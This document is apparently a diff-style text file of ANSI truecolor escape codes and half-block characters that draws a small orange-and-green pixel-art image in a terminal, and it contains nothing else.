+ \e[48;2;41;63;37m\e[38;2;40;47;23m▄\e[48;2;119;70;1m\e[38;2;230;135;0m▄\e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;180;104;0m\e[38;2;120;68;0m▄\e[48;2;135;78;0m\e[38;2;158;91;0m▄\e[48;2;255;147;0m\e[38;2;250;145;0m▄\e[48;2;255;147;0m \e[48;2;255;147;0m\e[38;2;254;146;0m▄\e[48;2;252;145;0m\e[38;2;209;120;0m▄\e[48;2;54;31;0m\e[38;2;61;35;0m▄\e[48;2;94;54;0m\e[38;2;159;91;0m▄\e[48;2;254;146;0m\e[38;2;244;140;0m▄\e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;240;144;1m\e[38;2;255;147;0m▄\e[48;2;36;40;18m\e[38;2;70;49;6m▄\e[48;2;50;78;45m\e[38;2;45;69;40m▄\e[0m
+ \e[48;2;65;48;9m\e[38;2;98;64;6m▄\e[48;2;255;149;0m\e[38;2;255;147;0m▄\e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;254;147;0m\e[38;2;254;146;0m▄\e[48;2;225;130;0m\e[38;2;175;100;0m▄\e[48;2;210;120;0m\e[38;2;253;146;0m▄\e[48;2;209;121;0m\e[38;2;254;147;0m▄\e[48;2;86;49;0m\e[38;2;189;109;0m▄\e[48;2;254;146;0m\e[38;2;142;81;0m▄\e[48;2;255;147;0m\e[38;2;102;59;0m▄\e[48;2;199;115;0m\e[38;2;69;40;0m▄\e[48;2;244;141;0m\e[38;2;238;138;0m▄\e[48;2;253;146;0m\e[38;2;184;105;0m▄\e[48;2;200;115;0m\e[38;2;231;134;0m▄\e[48;2;253;147;0m\e[38;2;254;146;0m▄\e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;149;98;7m\e[38;2;215;132;5m▄\e[48;2;35;54;32m\e[38;2;31;42;22m▄\e[0m
+ \e[48;2;133;82;3m\e[38;2;153;89;0m▄\e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m\e[38;2;255;146;0m▄\e[48;2;255;147;0m\e[38;2;255;146;0m▄\e[48;2;255;147;0m \e[48;2;255;147;0m\e[38;2;254;148;0m▄\e[48;2;255;147;0m\e[38;2;248;147;0m▄\e[48;2;254;147;0m\e[38;2;242;142;0m▄\e[48;2;204;116;0m\e[38;2;224;131;0m▄\e[48;2;200;115;0m\e[38;2;205;124;1m▄\e[48;2;199;115;0m\e[38;2;175;109;2m▄\e[48;2;172;100;0m\e[38;2;157;102;2m▄\e[48;2;168;97;0m\e[38;2;172;114;3m▄\e[48;2;206;119;0m\e[38;2;156;115;5m▄\e[48;2;215;125;0m\e[38;2;138;111;7m▄\e[48;2;180;105;0m\e[38;2;121;105;8m▄\e[48;2;233;136;0m\e[38;2;120;109;8m▄\e[48;2;254;148;0m\e[38;2;116;111;9m▄\e[48;2;254;148;0m\e[38;2;112;111;10m▄\e[48;2;255;148;0m\e[38;2;130;121;10m▄\e[48;2;254;148;0m\e[38;2;103;105;10m▄\e[48;2;254;148;0m\e[38;2;99;99;9m▄\e[48;2;254;148;0m\e[38;2;106;98;8m▄\e[48;2;254;148;0m\e[38;2;106;96;8m▄\e[48;2;255;148;0m\e[38;2;118;98;7m▄\e[48;2;255;147;0m\e[38;2;123;101;7m▄\e[48;2;255;147;0m\e[38;2;129;99;6m▄\e[48;2;255;147;0m\e[38;2;141;100;5m▄\e[48;2;255;147;0m\e[38;2;166;111;4m▄\e[48;2;255;147;0m\e[38;2;189;122;4m▄\e[48;2;255;147;0m\e[38;2;217;131;1m▄\e[48;2;255;147;0m\e[38;2;248;145;0m▄\e[48;2;255;147;0m\e[38;2;250;148;0m▄\e[48;2;255;147;0m\e[38;2;254;149;0m▄\e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;249;147;1m\e[38;2;254;147;0m▄\e[48;2;47;44;15m\e[38;2;81;54;7m▄\e[0m
+ \e[48;2;163;95;0m\e[38;2;176;103;0m▄\e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m\e[38;2;254;147;0m▄\e[48;2;255;147;0m\e[38;2;250;144;0m▄\e[48;2;255;147;0m\e[38;2;238;146;1m▄\e[48;2;254;147;0m\e[38;2;170;117;4m▄\e[48;2;252;147;0m\e[38;2;78;65;5m▄\e[48;2;239;144;1m\e[38;2;36;71;11m▄\e[48;2;220;136;2m\e[38;2;41;122;21m▄\e[48;2;193;124;2m\e[38;2;59;179;31m▄\e[48;2;178;119;4m\e[38;2;69;210;35m▄\e[48;2;129;104;6m\e[38;2;73;219;37m▄\e[48;2;67;87;10m\e[38;2;73;219;37m▄\e[48;2;61;106;15m\e[38;2;73;218;37m▄\e[48;2;52;126;21m\e[38;2;73;218;37m▄\e[48;2;52;150;25m\e[38;2;73;218;37m▄\e[48;2;58;177;30m\e[38;2;73;218;37m▄\e[48;2;63;194;33m\e[38;2;73;218;37m▄\e[48;2;66;204;34m\e[38;2;73;218;37m▄\e[48;2;69;212;36m\e[38;2;73;218;37m▄\e[48;2;72;217;36m\e[38;2;73;218;37m▄\e[48;2;72;219;37m\e[38;2;73;218;37m▄\e[48;2;73;220;37m\e[38;2;73;218;37m▄\e[48;2;73;220;37m\e[38;2;73;218;37m▄\e[48;2;73;220;37m\e[38;2;73;218;37m▄\e[48;2;73;220;37m\e[38;2;73;218;37m▄\e[48;2;73;220;37m\e[38;2;73;218;37m▄\e[48;2;74;220;37m\e[38;2;73;218;37m▄\e[48;2;73;220;37m\e[38;2;73;218;37m▄\e[48;2;73;219;37m\e[38;2;73;218;37m▄\e[48;2;72;214;36m\e[38;2;73;218;37m▄\e[48;2;68;207;35m\e[38;2;73;218;37m▄\e[48;2;65;197;34m\e[38;2;73;218;37m▄\e[48;2;61;185;32m\e[38;2;73;218;37m▄\e[48;2;51;157;27m\e[38;2;73;218;37m▄\e[48;2;41;125;21m\e[38;2;73;218;37m▄\e[48;2;40;106;18m\e[38;2;73;218;37m▄\e[48;2;75;92;10m\e[38;2;73;218;37m▄\e[48;2;76;85;10m\e[38;2;73;219;37m▄\e[48;2;112;94;7m\e[38;2;72;216;36m▄\e[48;2;162;113;5m\e[38;2;64;194;33m▄\e[48;2;219;131;0m\e[38;2;50;152;26m▄\e[48;2;231;138;1m\e[38;2;30;65;14m▄\e[48;2;252;147;0m\e[38;2;106;71;5m▄\e[48;2;97;61;4m\e[38;2;30;31;7m▄\e[0m
+ \e[48;2;186;108;0m\e[38;2;185;108;0m▄\e[48;2;255;147;0m\e[38;2;254;148;0m▄\e[48;2;255;147;0m\e[38;2;247;144;0m▄\e[48;2;255;147;0m\e[38;2;188;113;1m▄\e[48;2;255;147;0m\e[38;2;110;100;8m▄\e[48;2;248;147;0m\e[38;2;72;136;20m▄\e[48;2;206;124;1m\e[38;2;62;175;29m▄\e[48;2;115;81;4m\e[38;2;67;204;34m▄\e[48;2;55;92;13m\e[38;2;72;217;36m▄\e[48;2;60;157;26m\e[38;2;73;218;37m▄\e[48;2;66;195;32m\e[38;2;73;218;37m▄\e[48;2;70;212;35m\e[38;2;73;218;37m▄\e[48;2;72;215;36m\e[38;2;73;218;37m▄\e[48;2;73;217;36m\e[38;2;73;218;37m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;71;210;37m\e[38;2;71;214;37m▄\e[48;2;58;142;37m\e[38;2;57;136;37m▄\e[48;2;51;109;39m\e[38;2;54;109;40m▄\e[48;2;36;76;26m\e[38;2;38;71;31m▄\e[0m
+ \e[48;2;73;63;12m\e[38;2;24;46;20m▄\e[48;2;89;67;7m\e[38;2;54;120;38m▄\e[48;2;67;119;19m\e[38;2;66;192;35m▄\e[48;2;61;177;29m\e[38;2;73;217;37m▄\e[48;2;71;213;36m\e[38;2;73;218;37m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;71;214;35m\e[38;2;42;129;21m▄\e[48;2;43;131;22m\e[38;2;4;10;2m▄\e[48;2;37;111;19m\e[38;2;4;10;2m▄\e[48;2;60;180;30m\e[38;2;7;22;3m▄\e[48;2;73;218;37m\e[38;2;62;187;31m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m\e[38;2;72;217;36m▄\e[48;2;69;208;35m\e[38;2;20;61;10m▄\e[48;2;43;129;22m\e[38;2;4;11;2m▄\e[48;2;38;116;19m\e[38;2;3;8;1m▄\e[48;2;64;192;32m\e[38;2;19;57;10m▄\e[48;2;73;218;37m\e[38;2;73;219;37m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;72;214;36m\e[38;2;71;213;36m▄\e[48;2;55;130;37m\e[38;2;55;123;38m▄\e[48;2;54;108;41m\e[38;2;56;110;44m▄\e[48;2;35;60;30m\e[38;2;35;57;30m▄\e[0m
+ \e[48;2;37;68;29m\e[38;2;38;61;33m▄\e[48;2;58;132;39m\e[38;2;62;134;45m▄\e[48;2;64;179;36m\e[38;2;55;129;37m▄\e[48;2;72;217;36m\e[38;2;71;210;36m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;27;82;14m\e[38;2;59;178;30m▄\e[48;2;4;11;3m\e[38;2;3;9;1m▄\e[48;2;0;0;0m\e[38;2;8;18;4m▄\e[48;2;1;3;1m\e[38;2;4;12;2m▄\e[48;2;36;112;19m\e[38;2;54;163;27m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;70;210;36m\e[38;2;72;217;36m▄\e[48;2;4;11;1m\e[38;2;9;28;4m▄\e[48;2;0;0;0m\e[38;2;6;16;3m▄\e[48;2;1;3;1m\e[38;2;6;15;3m▄\e[48;2;13;39;6m\e[38;2;32;94;15m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;70;207;36m\e[38;2;67;196;36m▄\e[48;2;52;110;38m \e[48;2;57;101;47m\e[38;2;56;90;47m▄\e[48;2;36;55;31m\e[38;2;38;58;33m▄\e[0m
+ \e[48;2;40;63;35m\e[38;2;43;67;38m▄\e[48;2;61;117;48m\e[38;2;45;80;38m▄\e[48;2;54;114;39m\e[38;2;52;110;38m▄\e[48;2;64;177;36m\e[38;2;59;150;37m▄\e[48;2;72;217;36m\e[38;2;72;214;36m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;72;217;36m\e[38;2;73;218;37m▄\e[48;2;61;182;30m\e[38;2;73;218;37m▄\e[48;2;45;135;22m\e[38;2;73;218;37m▄\e[48;2;58;174;29m\e[38;2;73;218;37m▄\e[48;2;72;217;36m\e[38;2;73;218;37m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;71;212;35m\e[38;2;72;216;36m▄\e[48;2;34;101;17m\e[38;2;11;32;5m▄\e[48;2;34;101;17m\e[38;2;1;2;1m▄\e[48;2;34;98;18m\e[38;2;1;3;1m▄\e[48;2;35;101;18m\e[38;2;1;1;1m▄\e[48;2;35;100;17m\e[38;2;1;3;1m▄\e[48;2;57;170;29m\e[38;2;56;168;28m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;72;217;36m\e[38;2;72;218;36m▄\e[48;2;66;197;33m\e[38;2;72;217;36m▄\e[48;2;46;139;23m\e[38;2;73;217;37m▄\e[48;2;54;163;27m\e[38;2;72;217;37m▄\e[48;2;71;212;36m\e[38;2;72;217;36m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;72;217;37m\e[38;2;70;204;36m▄\e[48;2;60;158;37m\e[38;2;53;122;37m▄\e[48;2;52;103;38m\e[38;2;52;104;40m▄\e[48;2;33;54;28m\e[38;2;21;34;18m▄\e[48;2;46;70;41m\e[38;2;49;76;44m▄\e[0m
+ \e[48;2;49;76;44m\e[38;2;51;78;45m▄\e[48;2;32;51;28m\e[38;2;43;65;37m▄\e[48;2;61;125;45m\e[38;2;81;124;71m▄\e[48;2;54;124;38m\e[38;2;53;113;40m▄\e[48;2;68;202;36m\e[38;2;60;156;37m▄\e[48;2;73;218;37m\e[38;2;72;215;36m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m\e[38;2;73;216;37m▄\e[48;2;73;217;37m\e[38;2;93;205;61m▄\e[48;2;79;213;44m\e[38;2;121;189;95m▄\e[48;2;85;210;51m\e[38;2;132;184;108m▄\e[48;2;82;211;47m\e[38;2;121;191;93m▄\e[48;2;73;217;37m\e[38;2;85;210;52m▄\e[48;2;73;218;37m\e[38;2;73;217;37m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;37;111;20m\e[38;2;71;214;36m▄\e[48;2;1;2;0m\e[38;2;44;128;22m▄\e[48;2;2;4;2m\e[38;2;15;39;8m▄\e[48;2;1;1;1m\e[38;2;29;82;14m▄\e[48;2;13;37;7m\e[38;2;68;204;34m▄\e[48;2;70;210;35m\e[38;2;73;218;37m▄\e[48;2;73;217;37m\e[38;2;73;218;37m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;217;37m\e[38;2;74;216;38m▄\e[48;2;82;211;47m\e[38;2;118;191;90m▄\e[48;2;100;200;70m\e[38;2;132;185;108m▄\e[48;2;103;201;72m\e[38;2;127;187;101m▄\e[48;2;98;203;67m\e[38;2;125;189;100m▄\e[48;2;85;209;52m\e[38;2;116;192;88m▄\e[48;2;73;217;37m\e[38;2;80;211;44m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;72;217;36m\e[38;2;68;200;35m▄\e[48;2;63;170;35m\e[38;2;54;125;36m▄\e[48;2;51;103;38m\e[38;2;51;99;38m▄\e[48;2;49;101;36m\e[38;2;22;45;17m▄\e[48;2;30;47;26m\e[38;2;45;69;39m▄\e[48;2;51;78;45m \e[0m
+ \e[48;2;51;78;45m \e[48;2;49;75;43m\e[38;2;51;78;45m▄\e[48;2;30;38;27m\e[38;2;39;59;35m▄\e[48;2;63;123;49m\e[38;2;71;110;62m▄\e[48;2;54;121;37m\e[38;2;56;119;40m▄\e[48;2;68;198;37m\e[38;2;60;158;37m▄\e[48;2;73;218;37m\e[38;2;71;216;36m▄\e[48;2;73;217;37m\e[38;2;73;216;38m▄\e[48;2;91;206;58m\e[38;2;110;196;81m▄\e[48;2;122;191;95m\e[38;2;126;188;100m▄\e[48;2;128;186;102m\e[38;2;130;187;104m▄\e[48;2;140;180;116m\e[38;2;128;187;103m▄\e[48;2;126;188;100m\e[38;2;106;197;76m▄\e[48;2;96;202;64m\e[38;2;75;215;39m▄\e[48;2;73;217;37m\e[38;2;72;218;36m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;74;220;37m\e[38;2;73;218;37m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;74;217;38m\e[38;2;73;217;37m▄\e[48;2;114;194;86m\e[38;2;76;215;40m▄\e[48;2;142;178;121m\e[38;2;94;205;62m▄\e[48;2;150;176;129m\e[38;2;109;196;81m▄\e[48;2;142;180;120m\e[38;2;95;203;63m▄\e[48;2;116;193;88m\e[38;2;76;214;41m▄\e[48;2;78;213;44m\e[38;2;73;217;37m▄\e[48;2;73;218;37m\e[38;2;73;217;37m▄\e[48;2;73;218;37m\e[38;2;67;196;36m▄\e[48;2;71;209;37m\e[38;2;60;154;36m▄\e[48;2;59;152;36m\e[38;2;57;138;37m▄\e[48;2;52;110;38m\e[38;2;56;130;37m▄\e[48;2;51;104;38m\e[38;2;30;71;21m▄\e[48;2;20;31;17m\e[38;2;45;69;39m▄\e[48;2;50;78;44m\e[38;2;51;78;45m▄\e[48;2;51;78;45m \e[0m
+ \e[48;2;51;78;45m\e[38;2;28;43;24m▄\e[48;2;51;78;45m\e[38;2;43;64;38m▄\e[48;2;51;78;45m\e[38;2;52;79;46m▄\e[48;2;34;53;30m\e[38;2;46;71;41m▄\e[48;2;64;124;48m\e[38;2;49;106;36m▄\e[48;2;53;115;38m\e[38;2;57;124;40m▄\e[48;2;63;175;36m\e[38;2;55;126;38m▄\e[48;2;73;217;37m\e[38;2;66;186;36m▄\e[48;2;89;208;56m\e[38;2;73;217;37m▄\e[48;2;111;195;82m\e[38;2;75;215;40m▄\e[48;2;109;197;80m\e[38;2;74;216;38m▄\e[48;2;85;209;52m\e[38;2;73;218;36m▄\e[48;2;73;216;37m\e[38;2;73;218;37m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;217;37m\e[38;2;73;218;37m▄\e[48;2;73;217;37m\e[38;2;73;218;37m▄\e[48;2;73;217;36m\e[38;2;73;218;37m▄\e[48;2;73;218;37m\e[38;2;71;214;36m▄\e[48;2;71;212;36m\e[38;2;63;172;36m▄\e[48;2;63;174;35m\e[38;2;57;138;37m▄\e[48;2;58;146;36m\e[38;2;57;137;38m▄\e[48;2;58;139;37m\e[38;2;57;138;37m▄\e[48;2;58;138;37m\e[38;2;54;128;35m▄\e[48;2;50;117;34m\e[38;2;20;44;14m▄\e[48;2;20;32;17m\e[38;2;39;61;34m▄\e[48;2;51;77;44m\e[38;2;45;69;40m▄\e[48;2;51;78;45m\e[38;2;45;69;40m▄\e[48;2;51;78;45m\e[38;2;49;75;43m▄\e[0m
+ \e[48;2;84;151;67m\e[38;2;98;177;78m▄\e[48;2;43;80;34m\e[38;2;98;177;78m▄\e[48;2;22;39;19m\e[38;2;98;178;78m▄\e[48;2;43;67;38m\e[38;2;81;148;64m▄\e[48;2;40;70;33m\e[38;2;44;78;36m▄\e[48;2;54;127;36m\e[38;2;21;47;15m▄\e[48;2;55;120;39m\e[38;2;54;117;39m▄\e[48;2;56;133;37m\e[38;2;59;133;40m▄\e[48;2;71;211;36m\e[38;2;61;164;37m▄\e[48;2;73;217;36m\e[38;2;71;211;36m▄\e[48;2;73;218;37m\e[38;2;72;218;36m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m\e[38;2;73;217;37m▄\e[48;2;73;218;37m\e[38;2;72;217;36m▄\e[48;2;73;218;37m\e[38;2;67;203;34m▄\e[48;2;68;194;37m\e[38;2;40;116;21m▄\e[48;2;58;142;36m\e[38;2;8;21;5m▄\e[48;2;49;120;31m\e[38;2;6;10;5m▄\e[48;2;25;59;16m\e[38;2;73;108;65m▄\e[48;2;15;33;11m\e[38;2;95;157;79m▄\e[48;2;12;25;9m\e[38;2;97;175;77m▄\e[48;2;21;32;19m\e[38;2;99;179;79m▄\e[48;2;23;35;19m\e[38;2;98;178;78m▄\e[48;2;20;34;17m\e[38;2;98;178;78m▄\e[48;2;13;24;11m\e[38;2;98;178;78m▄\e[48;2;16;26;14m\e[38;2;98;177;78m▄\e[0m
+ \e[48;2;97;176;77m\e[38;2;58;103;46m▄\e[48;2;98;177;78m\e[38;2;94;170;75m▄\e[48;2;98;177;78m\e[38;2;99;179;79m▄\e[48;2;98;177;78m\e[38;2;97;176;77m▄\e[48;2;97;176;77m\e[38;2;98;177;78m▄\e[48;2;91;165;72m\e[38;2;98;177;78m▄\e[48;2;55;100;44m\e[38;2;98;177;78m▄\e[48;2;15;27;10m\e[38;2;92;168;73m▄\e[48;2;24;46;18m\e[38;2;76;138;61m▄\e[48;2;73;154;53m\e[38;2;54;96;43m▄\e[48;2;74;213;39m\e[38;2;24;48;18m▄\e[48;2;74;222;37m\e[38;2;20;55;11m▄\e[48;2;73;217;37m\e[38;2;31;91;16m▄\e[48;2;73;218;37m\e[38;2;49;145;24m▄\e[48;2;73;218;37m\e[38;2;68;201;35m▄\e[48;2;73;218;37m\e[38;2;73;217;37m▄\e[48;2;73;218;37m\e[38;2;74;220;37m▄\e[48;2;73;218;37m\e[38;2;73;219;37m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m\e[38;2;73;220;37m▄\e[48;2;73;218;37m\e[38;2;72;214;37m▄\e[48;2;73;218;37m\e[38;2;63;187;32m▄\e[48;2;72;217;36m\e[38;2;41;120;22m▄\e[48;2;74;222;36m\e[38;2;21;52;13m▄\e[48;2;67;203;34m\e[38;2;39;62;34m▄\e[48;2;40;117;21m\e[38;2;64;103;54m▄\e[48;2;14;43;7m\e[38;2;72;126;57m▄\e[48;2;4;12;2m\e[38;2;87;156;69m▄\e[48;2;25;45;21m\e[38;2;97;174;78m▄\e[48;2;71;124;57m\e[38;2;99;177;80m▄\e[48;2;97;168;78m\e[38;2;94;170;75m▄\e[48;2;96;175;77m\e[38;2;103;177;84m▄\e[48;2;98;176;79m\e[38;2;109;183;90m▄\e[48;2;100;178;80m\e[38;2;112;185;94m▄\e[48;2;100;177;80m\e[38;2;111;184;92m▄\e[48;2;99;177;80m\e[38;2;107;182;89m▄\e[48;2;98;177;78m\e[38;2;105;182;85m▄\e[48;2;98;177;78m\e[38;2;103;180;83m▄\e[48;2;98;177;78m\e[38;2;99;177;79m▄\e[0m
+ \e[38;2;54;79;47m▀\e[38;2;72;123;60m▀\e[48;2;97;176;78m\e[38;2;65;87;60m▄\e[48;2;98;177;78m\e[38;2;73;130;59m▄\e[48;2;98;177;78m\e[38;2;91;165;72m▄\e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;96;172;77m\e[38;2;98;177;78m▄\e[48;2;82;147;65m\e[38;2;98;177;78m▄\e[48;2;66;116;52m\e[38;2;98;177;78m▄\e[48;2;46;78;38m\e[38;2;98;177;78m▄\e[48;2;27;51;20m\e[38;2;98;177;78m▄\e[48;2;28;60;20m\e[38;2;94;169;74m▄\e[48;2;28;67;19m\e[38;2;86;155;69m▄\e[48;2;34;96;19m\e[38;2;69;123;54m▄\e[48;2;42;126;21m\e[38;2;48;86;39m▄\e[48;2;51;148;27m\e[38;2;36;64;28m▄\e[48;2;55;164;28m\e[38;2;26;46;20m▄\e[48;2;60;180;30m\e[38;2;23;39;18m▄\e[48;2;62;186;31m\e[38;2;21;40;17m▄\e[48;2;61;181;31m\e[38;2;19;36;16m▄\e[48;2;67;176;40m\e[38;2;18;32;14m▄\e[48;2;63;173;35m\e[38;2;23;36;19m▄\e[48;2;56;168;29m\e[38;2;27;42;23m▄\e[48;2;53;160;27m\e[38;2;29;45;24m▄\e[48;2;44;133;22m\e[38;2;30;53;25m▄\e[48;2;34;102;17m\e[38;2;52;89;43m▄\e[48;2;20;60;10m\e[38;2;88;148;71m▄\e[48;2;24;47;19m\e[38;2;97;171;78m▄\e[48;2;34;62;27m\e[38;2;98;177;78m▄\e[48;2;55;99;44m\e[38;2;98;177;78m▄\e[48;2;80;144;64m\e[38;2;98;177;78m▄\e[48;2;99;176;79m\e[38;2;98;177;78m▄\e[48;2;98;177;78m \e[48;2;98;177;78m\e[38;2;99;177;79m▄\e[48;2;99;177;79m\e[38;2;96;172;76m▄\e[48;2;99;175;79m\e[38;2;85;151;68m▄\e[48;2;95;169;76m\e[38;2;72;121;60m▄\e[48;2;109;180;92m\e[38;2;37;57;32m▄\e[48;2;100;159;85m\e[38;2;38;41;36m▄\e[48;2;72;107;62m\e[38;2;74;74;74m▄\e[0m\e[38;2;44;65;38m▀\e[38;2;31;48;27m▀\e[38;2;31;48;26m▀\e[38;2;31;52;25m▀\e[38;2;41;71;34m▀\e[38;2;59;97;50m▀\e[0m
